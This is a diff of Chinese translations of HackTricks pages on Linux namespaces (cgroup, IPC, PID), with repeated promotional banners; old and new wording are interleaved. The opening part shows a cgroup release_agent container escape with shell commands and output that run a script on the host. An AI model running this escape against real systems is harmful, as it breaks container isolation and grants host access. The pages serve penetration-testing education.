接下来,我们通过向`notify_on_release`文件写入1来启用对“x” cgroup释放的cgroup通知。我们还通过将主机上的`release_agent`文件写入`/cmd`脚本的路径来设置RDMA cgroup的释放代理,我们稍后将在容器中创建该脚本。为此,我们将从`/etc/mtab`文件中获取容器在主机上的路径。
|
||||
接下来,我们通过向其 `notify_on_release` 文件**写入 1** 来**启用 cgroup** 对“x” cgroup 释放的通知。我们还设置 RDMA cgroup 释放代理来执行一个 `/cmd` 脚本——稍后我们将在容器中创建这个脚本——通过将 `/cmd` 脚本路径写入宿主机的 `release_agent` 文件。为此,我们将从 `/etc/mtab` 文件中获取容器在宿主机上的路径。
|
||||
|
||||
我们在容器中添加或修改的文件存在于主机上,并且可以从两个世界(容器中的路径和主机上的路径)修改它们。
|
||||
我们在容器中添加或修改的文件存在于宿主机上,可以从两个世界中修改它们:容器中的路径和宿主机上的路径。
|
||||
|
||||
下面是这些操作的示例:
|
||||
下面可以看到这些操作:
|
||||
```shell-session
|
||||
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
请注意我们将在主机上创建的 `/cmd` 脚本的路径:
|
||||
注意我们将在主机上创建的 `/cmd` 脚本的路径:
|
||||
```shell-session
|
||||
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
|
||||
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
|
||||
```
|
||||
现在,我们创建`/cmd`脚本,使其执行`ps aux`命令,并将其输出保存到容器中的`/output`文件中,通过指定主机上输出文件的完整路径。最后,我们还打印`/cmd`脚本以查看其内容:
|
||||
现在,我们创建 `/cmd` 脚本,以便它将执行 `ps aux` 命令,并通过指定宿主机上输出文件的完整路径,将其输出保存到容器的 `/output` 中。最后,我们还打印 `/cmd` 脚本以查看其内容:
|
||||
```shell-session
|
||||
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
|
||||
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
|
||||
|
@ -54,7 +56,9 @@ root@b11cf9eab4fd:/# cat /cmd
|
|||
#!/bin/sh
|
||||
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
|
||||
```
|
||||
最后,我们可以通过在“x”子cgroup中生成一个立即结束的进程来执行攻击。通过创建一个`/bin/sh`进程并将其PID写入“x”子cgroup目录中的`cgroup.procs`文件,主机上的脚本将在`/bin/sh`退出后执行。然后,主机上执行的`ps aux`命令的输出将保存到容器内的`/output`文件中:
|
||||
```markdown
|
||||
最后,我们可以通过在“x”子 cgroup 内启动一个立即结束的进程来执行攻击。通过创建一个 `/bin/sh` 进程,并将其 PID 写入“x”子 cgroup 目录中的 `cgroup.procs` 文件,`/bin/sh` 退出后宿主机上的脚本将会执行。然后,宿主机上执行的 `ps aux` 输出被保存到容器内的 `/output` 文件中:
|
||||
```
|
||||
```shell-session
|
||||
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
root@b11cf9eab4fd:/# head /output
|
||||
|
@ -75,12 +79,14 @@ root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0]
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,13 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客技术!</strong></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -62,12 +64,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客技术!</strong></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,27 +2,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告** 吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
CGroup 命名空间是 Linux 内核的一个功能,为在命名空间内运行的进程提供 **cgroup 层次结构的隔离**。Cgroups(控制组)是一种内核功能,允许将进程组织成分层组,以管理和强制执行对系统资源(如 CPU、内存和 I/O)的 **限制**。
|
||||
cgroup 命名空间是 Linux 内核功能,为运行在命名空间内的进程提供 **cgroup 层级结构的隔离**。cgroup,即 **控制组**,是一种内核功能,允许将进程组织成层次化的组,以管理和执行 **系统资源的限制**,如 CPU、内存和 I/O。
|
||||
|
||||
虽然 CGroup 命名空间不像我们之前讨论的其他命名空间类型(PID、mount、network 等)那样是一个单独的命名空间类型,但它们与命名空间隔离的概念相关。**CGroup 命名空间虚拟化了 cgroup 层次结构的视图**,因此在 CGroup 命名空间中运行的进程与在主机或其他命名空间中运行的进程相比,对层次结构的视图是不同的。
|
||||
虽然 cgroup 命名空间不是我们之前讨论的其他类型的独立命名空间(如 PID、挂载、网络等),但它们与命名空间隔离的概念相关。**cgroup 命名空间虚拟化了 cgroup 层级结构的视图**,因此在 cgroup 命名空间中运行的进程与在主机或其他命名空间中运行的进程相比,有一个不同的层级结构视图。
|
||||
|
||||
### 工作原理:
|
||||
### 它是如何工作的:
|
||||
|
||||
1. 创建新的 CGroup 命名空间时,**它以基于创建进程的 cgroup 的 cgroup 层次结构视图开始**。这意味着在新的 CGroup 命名空间中运行的进程只能看到整个 cgroup 层次结构的子集,限于创建进程的 cgroup 的子树。
|
||||
2. CGroup 命名空间内的进程将 **将自己的 cgroup 视为层次结构的根**。这意味着从命名空间内部进程的角度来看,它们自己的 cgroup 看起来是根,它们无法看到或访问自己子树之外的 cgroup。
|
||||
3. CGroup 命名空间不直接提供资源隔离;**它们只提供 cgroup 层次结构视图的隔离**。**资源控制和隔离仍由 cgroup 子系统**(如 cpu、memory 等)**强制执行**。
|
||||
1. 当创建一个新的 cgroup 命名空间时,**它以创建进程的 cgroup 为基础开始显示 cgroup 层级结构的视图**。这意味着在新的 cgroup 命名空间中运行的进程只能看到整个 cgroup 层级结构的一个子集,限于创建进程的 cgroup 的子树根。
|
||||
2. 在 cgroup 命名空间内的进程将**看到它们自己的 cgroup 作为层级结构的根**。这意味着,从命名空间内部进程的角度来看,它们自己的 cgroup 显示为根,它们无法看到或访问它们自己子树之外的 cgroup。
|
||||
3. cgroup 命名空间不直接提供资源隔离;**它们只提供 cgroup 层级结构视图的隔离**。**资源控制和隔离仍然由 cgroup** 子系统(例如 cpu、内存等)本身执行。
|
||||
|
||||
有关 CGroups 的更多信息,请查看:
|
||||
|
||||
|
@ -30,34 +32,38 @@ CGroup 命名空间是 Linux 内核的一个功能,为在命名空间内运行
|
|||
[cgroups.md](../cgroups.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 实验:
|
||||
## 实验室:
|
||||
|
||||
### 创建不同的命名空间
|
||||
|
||||
#### CLI
|
||||
#### 命令行界面
|
||||
```bash
|
||||
sudo unshare -C [--mount-proc] /bin/bash
|
||||
```
|
||||
通过使用`--mount-proc`参数挂载一个新的`/proc`文件系统,您可以确保新的挂载命名空间具有与该命名空间特定的进程信息的准确且隔离的视图。
|
||||
通过挂载一个新的 `/proc` 文件系统实例,如果你使用参数 `--mount-proc`,你可以确保新的挂载命名空间有一个**准确且独立的特定于该命名空间的进程信息视图**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>错误:bash: fork: 无法分配内存</summary>
|
||||
|
||||
如果您在没有使用`-f`的情况下运行上一行代码,您将会得到该错误。\
|
||||
该错误是由于新的命名空间中的PID 1进程退出引起的。
|
||||
如果你在没有 `-f` 的情况下运行前面的命令,你会遇到这个错误。\
|
||||
这个错误是由于 PID 1 进程在新命名空间中退出所导致的。
|
||||
|
||||
在bash开始运行后,bash会fork出几个新的子进程来执行一些操作。如果您在没有使用`-f`的情况下运行unshare命令,bash的PID将与当前的"unshare"进程相同。当前的"unshare"进程调用unshare系统调用,创建一个新的PID命名空间,但当前的"unshare"进程不在新的PID命名空间中。这是Linux内核的预期行为:进程A创建一个新的命名空间,进程A本身不会被放入新的命名空间中,只有进程A的子进程会被放入新的命名空间中。因此,当您运行:
|
||||
在 bash 开始运行后,bash 将分叉出几个新的子进程来做一些事情。如果你在没有 `-f` 的情况下运行 unshare,bash 将会和当前的 "unshare" 进程有相同的 pid。当前的 "unshare" 进程调用 unshare 系统调用,创建一个新的 pid 命名空间,但是当前的 "unshare" 进程并不在新的 pid 命名空间中。这是 linux 内核的预期行为:进程 A 创建一个新的命名空间,进程 A 本身不会被放入新的命名空间,只有进程 A 的子进程会被放入新的命名空间。所以当你运行:
|
||||
```
|
||||
unshare -p /bin/bash
|
||||
```
|
||||
unshare -f will fork a new process instead of exec /bin/bash, so the PID 1 of the new namespace will not exit. This way, the PID 1 process will continue to function as the parent process for orphan processes, preventing the kernel panic and the "Cannot allocate memory" error.
|
||||
unshare 进程将执行 /bin/bash,而 /bin/bash 会分叉出几个子进程,bash 的第一个子进程将成为新命名空间的 PID 1,并且子进程在完成其任务后将退出。因此,新命名空间的 PID 1 退出。
|
||||
|
||||
PID 1 进程具有特殊功能:它应该成为所有孤儿进程的父进程。如果根命名空间中的 PID 1 进程退出,内核将会出现 panic。如果子命名空间中的 PID 1 进程退出,linux 内核将调用 disable\_pid\_allocation 函数,该函数将清除该命名空间中的 PIDNS\_HASH\_ADDING 标志。当 linux 内核创建一个新进程时,内核将调用 alloc\_pid 函数在一个命名空间中分配一个 PID,如果没有设置 PIDNS\_HASH\_ADDING 标志,alloc\_pid 函数将返回一个 -ENOMEM 错误。这就是你得到 "Cannot allocate memory" 错误的原因。
|
||||
|
||||
你可以通过使用 '-f' 选项来解决这个问题:
|
||||
```
|
||||
unshare -fp /bin/bash
|
||||
```
|
||||
如果你使用`-f`选项运行`unshare`命令,`unshare`将在创建新的pid命名空间后fork一个新进程。然后在新进程中运行`/bin/bash`。新进程将成为新pid命名空间的pid 1。然后bash将fork几个子进程来执行一些任务。由于bash本身是新pid命名空间的pid 1,它的子进程可以正常退出。
|
||||
如果你使用 `-f` 选项运行 unshare,unshare 将在创建新的 pid 命名空间后分叉一个新进程。并在新进程中运行 /bin/bash。新进程将成为新 pid 命名空间的 pid 1。然后 bash 也将分叉几个子进程来完成一些工作。由于 bash 本身是新 pid 命名空间的 pid 1,它的子进程可以在没有任何问题的情况下退出。
|
||||
|
||||
摘自[https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
从 [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) 复制
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -65,19 +71,7 @@ unshare -fp /bin/bash
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  检查进程所在的命名空间
|
||||
|
||||
To check which namespace your process is in, you can use the following command:
|
||||
|
||||
要检查进程所在的命名空间,可以使用以下命令:
|
||||
|
||||
```bash
|
||||
cat /proc/$PID/ns/* | grep cgroup
|
||||
```
|
||||
|
||||
Replace `$PID` with the process ID of the target process. This command will display the cgroup namespace of the process.
|
||||
|
||||
将`$PID`替换为目标进程的进程ID。该命令将显示进程的cgroup命名空间。
|
||||
### 检查您的进程在哪个命名空间中
|
||||
```bash
|
||||
ls -l /proc/self/ns/cgroup
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
|
||||
|
@ -90,24 +84,26 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/nul
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% code %}
|
||||
{% endcode %}
|
||||
|
||||
### 进入 CGroup 命名空间
|
||||
|
||||
{% endcode %}
|
||||
```bash
|
||||
nsenter -C TARGET_PID --pid /bin/bash
|
||||
```
|
||||
此外,只有**root用户**才能**进入另一个进程的命名空间**。而且,**没有指向其他命名空间的描述符**(例如`/proc/self/ns/cgroup`),你**无法进入**其他命名空间。
|
||||
```markdown
|
||||
另外,您只能**以 root 身份才能进入另一个进程的命名空间**。而且您**不能** **进入**其他命名空间**如果没有指向它的描述符**(如 `/proc/self/ns/cgroup`)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您希望在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -2,54 +2,60 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告** 吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
IPC(进程间通信)命名空间是 Linux 内核的一个功能,它提供了对 System V IPC 对象(如消息队列、共享内存段和信号量)的**隔离**。这种隔离确保了运行在**不同 IPC 命名空间中的进程不能直接访问或修改彼此的 IPC 对象**,为进程组之间提供了额外的安全性和隐私保护。
|
||||
IPC(进程间通信)命名空间是 Linux 内核的一个特性,它提供了 System V IPC 对象(如消息队列、共享内存段和信号量)的**隔离**。这种隔离确保了**不同 IPC 命名空间中的进程无法直接访问或修改彼此的 IPC 对象**,在进程组之间提供了额外的安全性和隐私性。
|
||||
|
||||
### 工作原理:
|
||||
|
||||
1. 创建新的 IPC 命名空间时,它会以一个**完全隔离的 System V IPC 对象集合**开始。这意味着运行在新 IPC 命名空间中的进程默认情况下无法访问或干扰其他命名空间或主机系统中的 IPC 对象。
|
||||
2. 在命名空间内创建的 IPC 对象只对该命名空间内的进程**可见且可访问**。每个 IPC 对象在其命名空间内由唯一的键标识。尽管在不同的命名空间中可能存在相同的键,但这些对象本身是隔离的,无法跨命名空间访问。
|
||||
3. 进程可以使用 `setns()` 系统调用在命名空间之间移动,或者使用带有 `CLONE_NEWIPC` 标志的 `unshare()` 或 `clone()` 系统调用创建新的命名空间。当进程移动到新的命名空间或创建新的命名空间时,它将开始使用与该命名空间关联的 IPC 对象。
|
||||
1. 当创建一个新的 IPC 命名空间时,它会从一个**完全隔离的 System V IPC 对象集合**开始。这意味着在新的 IPC 命名空间中运行的进程默认无法访问或干扰其他命名空间或宿主系统中的 IPC 对象。
|
||||
2. 在命名空间内创建的 IPC 对象只对该命名空间内的进程可见并且**可访问**。每个 IPC 对象在其命名空间内由一个唯一的键标识。尽管在不同的命名空间中键可能相同,但对象本身是隔离的,不能跨命名空间访问。
|
||||
